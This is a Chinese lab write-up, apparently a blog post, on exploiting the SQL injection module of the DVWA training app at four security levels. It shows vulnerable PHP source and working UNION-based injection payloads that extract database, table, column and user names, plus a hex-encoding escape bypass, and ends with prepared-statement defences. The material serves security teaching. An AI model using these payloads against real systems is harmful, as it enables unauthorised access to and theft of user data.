DVWA-SQL Injection

简介

sql注入漏洞原理

将恶意的SQL语句拼接到合法的语句中,从而达到执行SQL语句的目的;

SQL注入漏洞类型

字符型;

数字型;

搜索型;

危害

  • 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
  • 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
  • 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
  • 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

安全级别:Low

查看源码

在这里插入图片描述

源码分析

1.对用户的传参没有进行过滤,可以直接拼接sql语句

​ 2. 采用单引号闭合

数据库名

-1' union select 1,database() #

在这里插入图片描述

表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

字段值

-1' union select 1,group_concat(first_name) from users #

在这里插入图片描述

安全级别:Medium

查看源码

在这里插入图片描述

源码分析

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符
只是由GET类型传参改为POST类型传参
数字型sql注入

数据库名

1 union select 1,database() #

在这里插入图片描述

表名

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

不可以用table_schema=‘dvwa’,因为table_schema='dvwa’中带有单引号,会进行转义,所以我们需要将dvwa进行编码

在这里插入图片描述

列名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

由于单引号被转义,用16进制转换

0x7573657273

字段值

1 union select 1,group_concat(first_name) from users #

在这里插入图片描述

安全级别:High

查看源码

 <?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

源码分析

  • mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。
    mysqli_fetch_assoc(result);
    result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符。
  • mysqli_query() 函数执行某个针对数据库的查询。
  • High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;
    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;
  • 从SESSION中获取id的值,使用单引号闭合。因为SESSION获取值的特点,不能直接在当前页面注入

闭合符号为

判断列数

1' order by 3 #出错,1' order by 2 #正常输出

1' order by 3 #

在这里插入图片描述

在这里插入图片描述
1’ order by 2 #

在这里插入图片描述
在这里插入图片描述

数据库名

-1' union select 1,database() #

在这里插入图片描述

表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

数据

-1' union select 1,group_concat(first_name) from users #

在这里插入图片描述

安全级别:Impossible

查看源码

// Anti-CSRF token 防御 CSRF 攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
 
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
  // 预编译
  $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  $data->bindParam( ':id', $id, PDO::PARAM_INT );
  $data->execute();
  $row = $data->fetch();

源码分析

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出;

防护总结

对参数进行预编译
使用正则表达式过滤传入的参数
字符串过滤,转义

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值